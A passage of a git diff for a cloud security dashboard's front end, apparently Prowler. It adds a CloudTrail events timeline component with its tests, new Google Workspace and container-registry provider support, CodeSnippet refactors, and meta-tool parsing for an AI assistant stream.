"2026-01-26T16:05:07Z", + event_name: "CreateStack", + event_source: "cloudformation.amazonaws.com", + actor: "admin-role", + actor_uid: "arn:aws:sts::123456:assumed-role/admin-role", + actor_type: "AssumedRole", + source_ip_address: "192.168.1.1", + user_agent: "aws-cli/2.0", + request_data: { stackName: "my-stack" }, + response_data: { stackId: "arn:aws:cloudformation:..." }, + error_code: null, + error_message: null, + }, +}; + +const mockErrorEvent = { + ...mockEvent, + id: "event-2", + attributes: { + ...mockEvent.attributes, + event_name: "DeleteStack", + error_code: "AccessDenied", + error_message: "User is not authorized", + }, +}; + +describe("EventsTimeline", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("shows non-AWS message for non-AWS providers", () => { + // When + render(); + + // Then + expect( + screen.getByText("Events timeline is only available for AWS resources."), + ).toBeInTheDocument(); + expect(getResourceEventsMock).not.toHaveBeenCalled(); + }); + + it("shows loading state while fetching events", async () => { + // Given + getResourceEventsMock.mockReturnValue(new Promise(() => {})); // never resolves + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText("Fetching CloudTrail events..."), + ).toBeInTheDocument(); + }); + }); + + it("renders events after successful fetch", async () => { + // Given + getResourceEventsMock.mockResolvedValue({ + data: [mockEvent], + }); + + // When + render(); + + // Then + await waitFor(() => { + expect(screen.getByText("CreateStack")).toBeInTheDocument(); + }); + expect(screen.getByText("1 event")).toBeInTheDocument(); + expect(screen.getByText("admin-role")).toBeInTheDocument(); + }); + + it("shows empty state when no events are returned", async () => { + // Given + getResourceEventsMock.mockResolvedValue({ data: [] }); + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText("No events found in the last 90 days."), + ).toBeInTheDocument(); + }); + }); + + it("shows error message when API returns an error", async () => { + // Given + getResourceEventsMock.mockResolvedValue({ + error: "Provider credentials are invalid or expired.", + status: 502, + }); + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText( + "Provider credentials are invalid or expired. Please reconnect your AWS provider.", + ), + ).toBeInTheDocument(); + }); + expect(screen.getByText("Try again")).toBeInTheDocument(); + }); + + it("shows 503 error message for AWS unavailability", async () => { + // Given + getResourceEventsMock.mockResolvedValue({ + error: "Service Unavailable", + status: 503, + }); + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText( + "AWS CloudTrail is temporarily unavailable. Please try again later.", + ), + ).toBeInTheDocument(); + }); + }); + + it("shows raw error message for other error statuses", async () => { + // Given + getResourceEventsMock.mockResolvedValue({ + error: "Invalid lookback_days parameter.", + status: 400, + }); + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText("Invalid lookback_days parameter."), + ).toBeInTheDocument(); + }); + }); + + it("expands event to show detail card on click", async () => { + // Given + const user = userEvent.setup(); + getResourceEventsMock.mockResolvedValue({ data: [mockEvent] }); + + render(); + + await waitFor(() => { + expect(screen.getByText("CreateStack")).toBeInTheDocument(); + }); + + // When - click the event row to expand + await user.click(screen.getByText("CreateStack")); + + // Then - detail card should show expanded info + expect(screen.getByText("192.168.1.1")).toBeInTheDocument(); + expect(screen.getByText("AssumedRole")).toBeInTheDocument(); + expect(screen.getByText("Request")).toBeInTheDocument(); + expect(screen.getByText("Response")).toBeInTheDocument(); + }); + + it("collapses event when clicked again", async () => { + // Given + const user = userEvent.setup(); + getResourceEventsMock.mockResolvedValue({ data: [mockEvent] }); + + render(); + + await waitFor(() => { + expect(screen.getByText("CreateStack")).toBeInTheDocument(); + }); + + // When - expand then collapse (use getAllByText since expanded card also shows event name) + await user.click(screen.getByText("CreateStack")); + expect(screen.getByText("Request")).toBeInTheDocument(); + + await user.click(screen.getAllByText("CreateStack")[0]); + + // Then + expect(screen.queryByText("Request")).not.toBeInTheDocument(); + }); + + it("shows error banner for events with error codes", async () => { + // Given + const user = userEvent.setup(); + getResourceEventsMock.mockResolvedValue({ + data: [mockErrorEvent], + }); + + render(); + + await waitFor(() => { + expect(screen.getByText("DeleteStack")).toBeInTheDocument(); + }); + + // When + await user.click(screen.getByText("DeleteStack")); + + // Then + expect(screen.getByText("AccessDenied")).toBeInTheDocument(); + expect(screen.getByText("User is not authorized")).toBeInTheDocument(); + }); + + it("refetches events when include read events checkbox is toggled", async () => { + // Given + const user = userEvent.setup(); + getResourceEventsMock.mockResolvedValue({ data: [mockEvent] }); + + render(); + + await waitFor(() => { + expect(screen.getByText("CreateStack")).toBeInTheDocument(); + }); + + expect(getResourceEventsMock).toHaveBeenCalledWith("resource-1", { + includeReadEvents: false, + }); + + // When + await user.click(screen.getByRole("checkbox")); + + // Then + await waitFor(() => { + expect(getResourceEventsMock).toHaveBeenCalledWith("resource-1", { + includeReadEvents: true, + }); + }); + }); + + it("retries fetch when retry button is clicked", async () => { + // Given + const user = userEvent.setup(); + getResourceEventsMock + .mockResolvedValueOnce({ error: "Something went wrong", status: 500 }) + .mockResolvedValueOnce({ data: [mockEvent] }); + + render(); + + await waitFor(() => { + expect(screen.getByText("Try again")).toBeInTheDocument(); + }); + + // When + await user.click(screen.getByText("Try again")); + + // Then + await waitFor(() => { + expect(screen.getByText("CreateStack")).toBeInTheDocument(); + }); + expect(getResourceEventsMock).toHaveBeenCalledTimes(2); + }); + + it("handles null response gracefully", async () => { + // Given + getResourceEventsMock.mockResolvedValue(null); + + // When + render(); + + // Then + await waitFor(() => { + expect( + screen.getByText("Failed to fetch events. Please try again."), + ).toBeInTheDocument(); + }); + }); +}); diff --git a/ui/components/shared/events-timeline/events-timeline.tsx b/ui/components/shared/events-timeline/events-timeline.tsx new file mode 100644 index 0000000000..415b699050 --- /dev/null +++ b/ui/components/shared/events-timeline/events-timeline.tsx @@ -0,0 +1,458 @@ +"use client"; + +import { + AlertTriangle, + ChevronRight, + Clock, + Download, + Loader2, + Server, + Shield, +} from "lucide-react"; +import { useEffect, useState, useTransition } from "react"; + +import { getResourceEvents } from "@/actions/resources"; +import { + Alert, + AlertDescription, + Badge, + Button, + Card, + Checkbox, + InfoField, +} from "@/components/shadcn"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; +import { cn } from "@/lib/utils"; +import { ResourceEventProps } from "@/types"; + +interface EventsTimelineProps { + resourceId?: string; + isAwsProvider: boolean; +} + +export const EventsTimeline = ({ + resourceId, + isAwsProvider, +}: EventsTimelineProps) => { + const [events, setEvents] = useState([]); + const [error, setError] = useState(null); + const [errorStatus, setErrorStatus] = useState(null); + const [expandedRows, setExpandedRows] = useState>(new Set()); + const [includeReadEvents, setIncludeReadEvents] = useState(false); + const [hasFetched, setHasFetched] = useState(false); + const [retryCount, setRetryCount] = useState(0); + const [isPending, startTransition] = useTransition(); + + useEffect(() => { + if (!isAwsProvider || !resourceId) return; + + let cancelled = false; + + setError(null); + setErrorStatus(null); + setHasFetched(false); + + startTransition(async () => { + try { + const response = await getResourceEvents(resourceId, { + includeReadEvents, + }); + + if (cancelled) return; + + if (!response) { + setError("Failed to fetch events. Please try again."); + return; + } + + if (response.error) { + setError(response.error); + setErrorStatus(response.status || null); + return; + } + + setEvents(response.data || []); + setExpandedRows(new Set()); + } catch (err) { + if (cancelled) return; + console.error("Error fetching events:", err); + setError("An unexpected error occurred."); + } finally { + if (!cancelled) setHasFetched(true); + } + }); + + return () => { + cancelled = true; + }; + }, [resourceId, includeReadEvents, isAwsProvider, retryCount]); + + const toggleRow = (eventId: string) => { + setExpandedRows((prev) => { + const next = new Set(prev); + if (next.has(eventId)) { + next.delete(eventId); + } else { + next.add(eventId); + } + return next; + }); + }; + + const downloadEventJson = (event: ResourceEventProps) => { + const json = JSON.stringify(event.attributes, null, 2); + const blob = new Blob([json], { type: "application/json" }); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = `event-${event.attributes.event_name}-${event.attributes.event_time}.json`; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + setTimeout(() => URL.revokeObjectURL(url), 100); + }; + + if (!isAwsProvider) { + return ( +
+
+ +
+

+ Events timeline is only available for AWS resources. +

+
+ ); + } + + if (isPending && !hasFetched) { + return ( +
+ +

+ Fetching CloudTrail events... +

+
+ ); + } + + if (error) { + return ( +
+ + + +

+ {errorStatus === 502 + ? "Provider credentials are invalid or expired. Please reconnect your AWS provider." + : errorStatus === 503 + ? "AWS CloudTrail is temporarily unavailable. Please try again later." + : error} +

+ +
+
+
+ ); + } + + return ( +
+ {/* Controls bar */} +
+ +
+ {isPending && } + + {events.length} event{events.length !== 1 && "s"} + +
+
+ + {/* Timeline */} + {events.length === 0 && hasFetched ? ( +
+
+ +
+

+ No events found in the last 90 days. +

+

+ CloudTrail events may take up to 15 minutes to appear after an + action is performed. +

+
+ ) : ( +
+ {/* Timeline vertical line */} +
+ +
+ {events.map((event, index) => { + const isExpanded = expandedRows.has(event.id); + const attrs = event.attributes; + const hasError = !!attrs.error_code; + const isLast = index === events.length - 1; + + return ( +
+ {/* Timeline node + row */} + + + {/* Expanded detail card */} + {isExpanded && ( +
+ + {/* Header bar */} +
+
+ + + {attrs.event_name} + + + via {attrs.event_source} + +
+ +
+ + {/* Detail rows */} +
+
+ + {new Date(attrs.event_time).toLocaleString()} + +
+
+ +
+ + {attrs.actor} + + {attrs.actor_type} +
+
+
+
+ + + {attrs.source_ip_address} + + +
+
+ + {/* Error banner */} + {hasError && ( + + + + + {attrs.error_code} + + {attrs.error_message && ( + <> + + {" "} + |{" "} + + + {attrs.error_message} + + + )} + + + )} + + {/* JSON payloads */} + {(attrs.request_data || attrs.response_data) && ( +
+ {attrs.request_data && ( + + )} + {attrs.response_data && ( + + )} +
+ )} +
+
+ )} +
+ ); + })} +
+
+ )} +
+ ); +}; + +// --- Sub-components --- + +const JsonBlock = ({ + label, + data, +}: { + label: string; + data: Record; +}) => { + const [collapsed, setCollapsed] = useState(true); + const json = JSON.stringify(data, null, 2); + const lineCount = json.split("\n").length; + const isLong = lineCount > 8; + + return ( +
+
+ + {label} + + +
+
+
+          {json}
+        
+ {isLong && collapsed && ( +
+ +
+ )} +
+
+ ); +}; + +// --- Helpers --- + +const dateFmt = new Intl.DateTimeFormat(undefined, { + month: "short", + day: "numeric", +}); +const timeFmt = new Intl.DateTimeFormat(undefined, { + hour: "2-digit", + minute: "2-digit", +}); + +const formatShortDate = (iso: string) => { + const d = new Date(iso); + return `${dateFmt.format(d)} ${timeFmt.format(d)}`; +}; diff --git a/ui/components/ui/breadcrumbs/breadcrumb-navigation.tsx b/ui/components/ui/breadcrumbs/breadcrumb-navigation.tsx index 02740bae7a..2b8436e505 100644 --- a/ui/components/ui/breadcrumbs/breadcrumb-navigation.tsx +++ b/ui/components/ui/breadcrumbs/breadcrumb-navigation.tsx @@ -107,7 +107,7 @@ export function BreadcrumbNavigation({ }; const renderTitleWithIcon = (titleText: string, isLink: boolean = false) => ( - <> +
{typeof icon === "string" ? ( {titleText} - +
); // Determine which breadcrumbs to use diff --git a/ui/components/ui/code-snippet/code-snippet.tsx b/ui/components/ui/code-snippet/code-snippet.tsx index deea7481e4..9440b500e6 100644 --- a/ui/components/ui/code-snippet/code-snippet.tsx +++ b/ui/components/ui/code-snippet/code-snippet.tsx @@ -21,6 +21,10 @@ interface CodeSnippetProps { icon?: ReactNode; /** Function to format the displayed text (value is still copied as-is) */ formatter?: (value: string) => string; + /** Enable multiline display (disables truncation, enables word wrap) */ + multiline?: boolean; + /** Custom aria-label for the copy button */ + ariaLabel?: string; } export const CodeSnippet = ({ @@ -30,6 +34,8 @@ export const CodeSnippet = ({ hideCopyButton = false, icon, formatter, + multiline = false, + ariaLabel = "Copy to clipboard", }: CodeSnippetProps) => { const [copied, setCopied] = useState(false); @@ -46,7 +52,7 @@ export const CodeSnippet = ({ type="button" onClick={handleCopy} className="text-text-neutral-secondary hover:text-text-neutral-primary shrink-0 cursor-pointer transition-colors" - aria-label="Copy to clipboard" + aria-label={ariaLabel} > {copied ? ( @@ -66,7 +72,7 @@ export const CodeSnippet = ({ "hover:bg-bg-neutral-tertiary text-text-neutral-secondary hover:text-text-neutral-primary shrink-0 cursor-pointer rounded-md p-1 transition-colors", className, )} - aria-label="Copy to clipboard" + aria-label={ariaLabel} > {copied ? ( @@ -80,19 +86,26 @@ export const CodeSnippet = ({ return (
{icon && ( {icon} )} - - - {displayValue} - - {value} - + {multiline ? ( + + {displayValue} + + ) : ( + + + {displayValue} + + {value} + + )} {!hideCopyButton && }
); diff --git a/ui/components/ui/entities/entity-info.tsx b/ui/components/ui/entities/entity-info.tsx index b816416801..410cf9d086 100644 --- a/ui/components/ui/entities/entity-info.tsx +++ b/ui/components/ui/entities/entity-info.tsx @@ -1,5 +1,7 @@ "use client"; +import { ReactNode } from "react"; + import { Tooltip, TooltipContent, @@ -11,73 +13,67 @@ import type { ProviderType } from "@/types"; import { getProviderLogo } from "./get-provider-logo"; interface EntityInfoProps { - cloudProvider: ProviderType; + cloudProvider?: ProviderType; + icon?: ReactNode; entityAlias?: string; entityId?: string; - snippetWidth?: string; - showConnectionStatus?: boolean; - maxWidth?: string; + badge?: string; showCopyAction?: boolean; + /** @deprecated No longer used — layout handles overflow naturally */ + maxWidth?: string; + /** @deprecated No longer used */ + showConnectionStatus?: boolean; + /** @deprecated No longer used */ + snippetWidth?: string; } export const EntityInfo = ({ cloudProvider, + icon, entityAlias, entityId, - showConnectionStatus = false, - maxWidth = "w-[120px]", + badge, showCopyAction = true, }: EntityInfoProps) => { const canCopy = Boolean(entityId && showCopyAction); + const renderedIcon = + icon ?? (cloudProvider ? getProviderLogo(cloudProvider) : null); return ( -
-
- {getProviderLogo(cloudProvider)} - {showConnectionStatus && ( - - - - - Connected - - )} -
-
- {entityAlias ? ( - - -

- {entityAlias} -

-
- {entityAlias} -
- ) : ( - - -

- - -

-
- No alias -
- )} - {entityId && ( -
+
+
+ {renderedIcon &&
{renderedIcon}
} +
+
-

- {entityId} -

+ + {entityAlias || entityId || "-"} +
- {entityId} + + {entityAlias || entityId || "No alias"} +
- {canCopy && ( - + {badge && ( + + ({badge}) + )}
- )} + {entityId && ( +
+ + UID: + + +
+ )} +
); diff --git a/ui/components/ui/entities/get-provider-logo.tsx b/ui/components/ui/entities/get-provider-logo.tsx index 7ac437a4af..6e5381aa66 100644 --- a/ui/components/ui/entities/get-provider-logo.tsx +++ b/ui/components/ui/entities/get-provider-logo.tsx @@ -5,7 +5,9 @@ import { CloudflareProviderBadge, GCPProviderBadge, GitHubProviderBadge, + GoogleWorkspaceProviderBadge, IacProviderBadge, + ImageProviderBadge, KS8ProviderBadge, M365ProviderBadge, MongoDBAtlasProviderBadge, @@ -28,8 +30,12 @@ export const getProviderLogo = (provider: ProviderType) => { return ; case "github": return ; + case "googleworkspace": + return ; case "iac": return ; + case "image": + return ; case "oraclecloud": return ; case "mongodbatlas": @@ -59,8 +65,12 @@ export const getProviderName = (provider: ProviderType): string => { return "Microsoft 365"; case "github": return "GitHub"; + case "googleworkspace": + return "Google Workspace"; case "iac": return "Infrastructure as Code"; + case "image": + return "Container Registry"; case "oraclecloud": return "Oracle Cloud Infrastructure"; case "mongodbatlas": diff --git a/ui/components/ui/entities/index.ts b/ui/components/ui/entities/index.ts index 88cf9504f3..d2b2b9aa22 100644 --- a/ui/components/ui/entities/index.ts +++ b/ui/components/ui/entities/index.ts @@ -3,4 +3,3 @@ export * from "./entity-info"; export * from "./get-provider-logo"; export * from "./info-field"; export * from "./scan-status"; -export * from "./snippet-chip"; diff --git a/ui/components/ui/entities/snippet-chip.tsx b/ui/components/ui/entities/snippet-chip.tsx deleted file mode 100644 index 04dabfde67..0000000000 --- a/ui/components/ui/entities/snippet-chip.tsx +++ /dev/null @@ -1,51 +0,0 @@ -import { Snippet } from "@heroui/snippet"; -import { cn } from "@heroui/theme"; -import { Tooltip } from "@heroui/tooltip"; -import React from "react"; - -import { CopyIcon, DoneIcon } from "@/components/icons"; - -interface SnippetChipProps { - value: string; - ariaLabel?: string; - icon?: React.ReactNode; - hideCopyButton?: boolean; - formatter?: (value: string) => string; - className?: string; -} -export const SnippetChip = ({ - value, - hideCopyButton = false, - ariaLabel = `Copy ${value} to clipboard`, - icon, - formatter, - className, - ...props -}: SnippetChipProps) => { - return ( - } - checkIcon={} - hideCopyButton={hideCopyButton} - codeString={value} - {...props} - > -
- {icon} - - - {formatter ? formatter(value) : value} - - -
-
- ); -}; diff --git a/ui/components/ui/table/data-table-animated-row.tsx b/ui/components/ui/table/data-table-animated-row.tsx index 8ea153df4d..e8098e7672 100644 --- a/ui/components/ui/table/data-table-animated-row.tsx +++ b/ui/components/ui/table/data-table-animated-row.tsx @@ -7,6 +7,10 @@ import { cn } from "@/lib/utils"; interface DataTableAnimatedRowProps { row: Row; + /** Pass explicitly to break React Compiler memoization when selection changes */ + isSelected?: boolean; + /** Pass explicitly to break React Compiler memoization for partial selection */ + isSomeSelected?: boolean; } /** @@ -24,7 +28,12 @@ interface DataTableAnimatedRowProps { */ export function DataTableAnimatedRow({ row, + isSelected, + isSomeSelected, }: DataTableAnimatedRowProps) { + "use no memo"; + void isSomeSelected; + return ( ({ collapsed: { opacity: 0 }, }} transition={{ duration: 0.2 }} - data-state={row.getIsSelected() ? "selected" : undefined} + data-state={isSelected ? "selected" : undefined} className={cn( "transition-colors", "[&>td:first-child]:rounded-l-full [&>td:last-child]:rounded-r-full", @@ -46,6 +55,12 @@ export function DataTableAnimatedRow({ {row.getVisibleCells().map((cell: Cell, index, cells) => { const isFirst = index === 0; const isLast = index === cells.length - 1; + const cellDef = cell.column.columnDef.cell; + const cellContext = cell.getContext(); + const cellContent = + typeof cellDef === "function" + ? cellDef(cellContext) + : flexRender(cellDef, cellContext); return ( @@ -80,7 +95,7 @@ export function DataTableAnimatedRow({ isLast && "pr-3", )} > - {flexRender(cell.column.columnDef.cell, cell.getContext())} + {cellContent}
diff --git a/ui/components/ui/table/data-table-expand-all-toggle.tsx b/ui/components/ui/table/data-table-expand-all-toggle.tsx index c53782f451..44dfc9ed96 100644 --- a/ui/components/ui/table/data-table-expand-all-toggle.tsx +++ b/ui/components/ui/table/data-table-expand-all-toggle.tsx @@ -52,7 +52,7 @@ export function DataTableExpandAllToggle({ diff --git a/ui/components/ui/table/data-table-expandable-cell.tsx b/ui/components/ui/table/data-table-expandable-cell.tsx index 78bfa651cf..8121e81b30 100644 --- a/ui/components/ui/table/data-table-expandable-cell.tsx +++ b/ui/components/ui/table/data-table-expandable-cell.tsx @@ -5,7 +5,11 @@ import { CornerDownRightIcon } from "lucide-react"; import { DataTableExpandToggle } from "./data-table-expand-toggle"; -/** Indentation per nesting level in rem units */ +/** + * Indentation per nesting level in rem units. + * Matches the parent's icon (w-4 = 1rem) + gap-2 (0.5rem) = 1.5rem, + * so the child's first icon aligns horizontally with the parent's checkbox. + */ const INDENT_PER_LEVEL_REM = 1.5; interface DataTableExpandableCellProps { @@ -13,6 +17,12 @@ interface DataTableExpandableCellProps { children: React.ReactNode; /** Whether to show the expand/collapse toggle (default: true) */ showToggle?: boolean; + /** Explicit expanded state — pass to break React Compiler memoization */ + isExpanded?: boolean; + /** Hide the CornerDownRight icon even for child rows (e.g. OUs that can expand) */ + hideChildIcon?: boolean; + /** Optional slot rendered after expand arrows and before children (e.g. checkbox) */ + checkboxSlot?: React.ReactNode; } /** @@ -43,26 +53,33 @@ export function DataTableExpandableCell({ row, children, showToggle = true, + isExpanded, + hideChildIcon = false, + checkboxSlot, }: DataTableExpandableCellProps) { const isChildRow = row.depth > 0; const canExpand = row.getCanExpand(); return (
{showToggle && ( <> - {canExpand ? ( - - ) : isChildRow ? ( - - ) : ( -
+ {isChildRow && !hideChildIcon && ( + )} + {canExpand ? ( + + ) : !isChildRow ? ( +
+ ) : null} )} + {checkboxSlot && ( +
{checkboxSlot}
+ )} {children}
); diff --git a/ui/components/ui/table/data-table-pagination.tsx b/ui/components/ui/table/data-table-pagination.tsx index 6ba2d9a158..7f3f5eb83d 100644 --- a/ui/components/ui/table/data-table-pagination.tsx +++ b/ui/components/ui/table/data-table-pagination.tsx @@ -191,7 +191,7 @@ export function DataTablePagination({ {/* Page info and navigation */}
- + Page {currentPage} of {totalPages}
diff --git a/ui/components/ui/table/data-table.tsx b/ui/components/ui/table/data-table.tsx index 3fbdd780cc..4548fc22b8 100644 --- a/ui/components/ui/table/data-table.tsx +++ b/ui/components/ui/table/data-table.tsx @@ -255,7 +255,12 @@ export function DataTable({ {rows?.length ? ( rows.map((row) => getSubRows && row.depth > 0 ? ( - + ) : ( Your API Key

- - {apiKey} - +
diff --git a/ui/components/users/profile/membership-item.tsx b/ui/components/users/profile/membership-item.tsx index b13574ad8e..23c616600c 100644 --- a/ui/components/users/profile/membership-item.tsx +++ b/ui/components/users/profile/membership-item.tsx @@ -32,8 +32,8 @@ export const MembershipItem = ({ setIsOpen={setIsEditOpen} /> - -
+ +
{membership.attributes.role} diff --git a/ui/components/users/profile/revoke-api-key-modal.tsx b/ui/components/users/profile/revoke-api-key-modal.tsx index 781440bc92..6097b747c5 100644 --- a/ui/components/users/profile/revoke-api-key-modal.tsx +++ b/ui/components/users/profile/revoke-api-key-modal.tsx @@ -1,6 +1,5 @@ "use client"; -import { Snippet } from "@heroui/snippet"; import { Trash2Icon } from "lucide-react"; import { revokeApiKey } from "@/actions/api-keys/api-keys"; @@ -10,6 +9,7 @@ import { AlertDescription, AlertTitle, } from "@/components/ui/alert/Alert"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; import { ModalButtons } from "@/components/ui/custom/custom-modal-buttons"; import { FALLBACK_VALUES } from "./api-keys/constants"; @@ -67,16 +67,12 @@ export const RevokeApiKeyModal = ({

Are you sure you want to revoke this API key?

- -

{apiKey?.attributes.name || FALLBACK_VALUES.UNNAMED_KEY}

-

Prefix: {apiKey?.attributes.prefix}

-
+
{error && ( diff --git a/ui/components/users/profile/role-item.tsx b/ui/components/users/profile/role-item.tsx index 16264c58a7..5e1f6feef4 100644 --- a/ui/components/users/profile/role-item.tsx +++ b/ui/components/users/profile/role-item.tsx @@ -68,6 +68,7 @@ export const RoleItem = ({ variant="ghost" size="sm" onClick={() => setIsExpanded(!isExpanded)} + className="px-0" > {isExpanded ? "Hide details" : "Show details"} diff --git a/ui/components/users/profile/user-basic-info-card.tsx b/ui/components/users/profile/user-basic-info-card.tsx index fa3376ad84..4c85185e2d 100644 --- a/ui/components/users/profile/user-basic-info-card.tsx +++ b/ui/components/users/profile/user-basic-info-card.tsx @@ -4,13 +4,14 @@ import { Divider } from "@heroui/divider"; import { ProwlerShort } from "@/components/icons"; import { Card, CardContent } from "@/components/shadcn"; -import { DateWithTime, InfoField, SnippetChip } from "@/components/ui/entities"; +import { CodeSnippet } from "@/components/ui/code-snippet/code-snippet"; +import { DateWithTime, InfoField } from "@/components/ui/entities"; import { UserDataWithRoles } from "@/types/users"; const TenantIdCopy = ({ id }: { id: string }) => { return (
- +
); }; diff --git a/ui/hooks/use-credentials-form.ts b/ui/hooks/use-credentials-form.ts index 10008c70d5..68a34183f7 100644 --- a/ui/hooks/use-credentials-form.ts +++ b/ui/hooks/use-credentials-form.ts @@ -226,6 +226,23 @@ export const useCredentialsForm = ({ [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CONTENT]: "", [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CLOUD]: "", }; + case "googleworkspace": + return { + ...baseDefaults, + [ProviderCredentialFields.GOOGLEWORKSPACE_CUSTOMER_ID]: + providerUid || "", + [ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT]: "", + [ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER]: "", + }; + case "image": + return { + ...baseDefaults, + [ProviderCredentialFields.REGISTRY_USERNAME]: "", + [ProviderCredentialFields.REGISTRY_PASSWORD]: "", + [ProviderCredentialFields.REGISTRY_TOKEN]: "", + [ProviderCredentialFields.IMAGE_FILTER]: "", + [ProviderCredentialFields.TAG_FILTER]: "", + }; default: return baseDefaults; } diff --git a/ui/lib/error-mappings.ts b/ui/lib/error-mappings.ts index 7024801e30..ff15c790c6 100644 --- a/ui/lib/error-mappings.ts +++ b/ui/lib/error-mappings.ts @@ -40,4 +40,10 @@ export const PROVIDER_CREDENTIALS_ERROR_MAPPING: Record = { ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CONTENT, [ErrorPointers.OPENSTACK_CLOUDS_YAML_CLOUD]: ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CLOUD, + [ErrorPointers.GOOGLEWORKSPACE_CUSTOMER_ID]: + ProviderCredentialFields.GOOGLEWORKSPACE_CUSTOMER_ID, + [ErrorPointers.GOOGLEWORKSPACE_CREDENTIALS_CONTENT]: + ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT, + [ErrorPointers.GOOGLEWORKSPACE_DELEGATED_USER]: + ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER, }; diff --git a/ui/lib/external-urls.ts b/ui/lib/external-urls.ts index 654bf27b43..7b4cdf4c7e 100644 --- a/ui/lib/external-urls.ts +++ b/ui/lib/external-urls.ts @@ -57,6 +57,11 @@ export const getProviderHelpText = (provider: string) => { text: "Need help scanning your Infrastructure as Code repository?", link: "https://goto.prowler.com/provider-iac", }; + case "image": + return { + text: "Need help scanning your container registry?", + link: "https://goto.prowler.com/provider-image", + }; case "oraclecloud": return { text: "Need help connecting your Oracle Cloud account?", @@ -82,6 +87,11 @@ export const getProviderHelpText = (provider: string) => { text: "Need help connecting your OpenStack cloud?", link: "https://goto.prowler.com/provider-openstack", }; + case "googleworkspace": + return { + text: "Need help connecting your Google Workspace account?", + link: "https://goto.prowler.com/provider-googleworkspace", + }; default: return { text: "How to setup a provider?", diff --git a/ui/lib/helper-filters.ts b/ui/lib/helper-filters.ts index 6598baf33c..a285c3b285 100644 --- a/ui/lib/helper-filters.ts +++ b/ui/lib/helper-filters.ts @@ -1,6 +1,6 @@ import { ProviderProps, ProvidersApiResponse, ScanProps } from "@/types"; import { FilterEntity } from "@/types/filters"; -import { ProviderConnectionStatus } from "@/types/providers"; +import { GroupFilterEntity, ProviderConnectionStatus } from "@/types/providers"; import { ScanEntity } from "@/types/scans"; /** @@ -135,6 +135,18 @@ export const isConnectionStatus = ( return !!(entity && "label" in entity && "value" in entity); }; +// Helper to check if entity is a GroupFilterEntity (organization or account group) +export const isGroupFilterEntity = ( + entity: FilterEntity, +): entity is GroupFilterEntity => { + return !!( + entity && + "name" in entity && + !("provider" in entity) && + !("label" in entity) + ); +}; + /** * Connection status mapping for provider filters. * Maps boolean string values to user-friendly labels. diff --git a/ui/lib/lighthouse/analyst-stream.ts b/ui/lib/lighthouse/analyst-stream.ts index 95050b1001..13d5648ba0 100644 --- a/ui/lib/lighthouse/analyst-stream.ts +++ b/ui/lib/lighthouse/analyst-stream.ts @@ -9,6 +9,7 @@ import { ERROR_PREFIX, LIGHTHOUSE_AGENT_TAG, META_TOOLS, + SKILL_PREFIX, STREAM_MESSAGE_ID, } from "@/lib/lighthouse/constants"; import type { ChainOfThoughtData, StreamEvent } from "@/lib/lighthouse/types"; @@ -16,10 +17,35 @@ import type { ChainOfThoughtData, StreamEvent } from "@/lib/lighthouse/types"; // Re-export for convenience export { CHAIN_OF_THOUGHT_ACTIONS, ERROR_PREFIX, STREAM_MESSAGE_ID }; +/** + * Safely parses the JSON string nested inside a meta-tool's input wrapper. + * In tool stream events, meta-tools receive their arguments as `{ input: "" }`. + * Note: In chat_model_end events, args are pre-parsed by LangChain (see handleChatModelEndEvent). + * + * @returns The parsed object, or null if parsing fails + */ +function parseMetaToolInput( + toolInput: unknown, +): Record | null { + try { + if ( + toolInput && + typeof toolInput === "object" && + "input" in toolInput && + typeof toolInput.input === "string" + ) { + return JSON.parse(toolInput.input) as Record; + } + } catch { + // Failed to parse + } + return null; +} + /** * Extracts the actual tool name from meta-tool input. * - * Meta-tools (describe_tool, execute_tool) wrap actual tool calls. + * Meta-tools (describe_tool, execute_tool, load_skill) wrap actual tool calls. * This function parses the input to extract the real tool name. * * @param metaToolName - The name of the meta-tool or actual tool @@ -30,26 +56,19 @@ export function extractActualToolName( metaToolName: string, toolInput: unknown, ): string | null { - // Check if this is a meta-tool if ( metaToolName === META_TOOLS.DESCRIBE || metaToolName === META_TOOLS.EXECUTE ) { - // Meta-tool: Parse the JSON string in input.input - try { - if ( - toolInput && - typeof toolInput === "object" && - "input" in toolInput && - typeof toolInput.input === "string" - ) { - const parsedInput = JSON.parse(toolInput.input); - return parsedInput.toolName || null; - } - } catch { - // Failed to parse, return null - return null; - } + const parsed = parseMetaToolInput(toolInput); + return (parsed?.toolName as string) || null; + } + + if (metaToolName === META_TOOLS.LOAD_SKILL) { + const parsed = parseMetaToolInput(toolInput); + return parsed?.skillId + ? `${SKILL_PREFIX}${parsed.skillId as string}` + : null; } // Actual tool execution: use the name directly @@ -172,11 +191,18 @@ export function handleChatModelEndEvent( const metaToolName = toolCall.name; const toolArgs = toolCall.args; - // Extract actual tool name from toolArgs.toolName (camelCase) - const actualToolName = - toolArgs && typeof toolArgs === "object" && "toolName" in toolArgs - ? (toolArgs.toolName as string) - : null; + // Extract actual tool name from toolArgs + let actualToolName: string | null = null; + if (toolArgs && typeof toolArgs === "object") { + if ("toolName" in toolArgs) { + actualToolName = toolArgs.toolName as string; + } else if ( + metaToolName === META_TOOLS.LOAD_SKILL && + "skillId" in toolArgs + ) { + actualToolName = `${SKILL_PREFIX}${toolArgs.skillId as string}`; + } + } controller.enqueue( createChainOfThoughtEvent({ diff --git a/ui/lib/lighthouse/constants.ts b/ui/lib/lighthouse/constants.ts index 6fbb30947f..cea67eabb4 100644 --- a/ui/lib/lighthouse/constants.ts +++ b/ui/lib/lighthouse/constants.ts @@ -6,6 +6,7 @@ export const 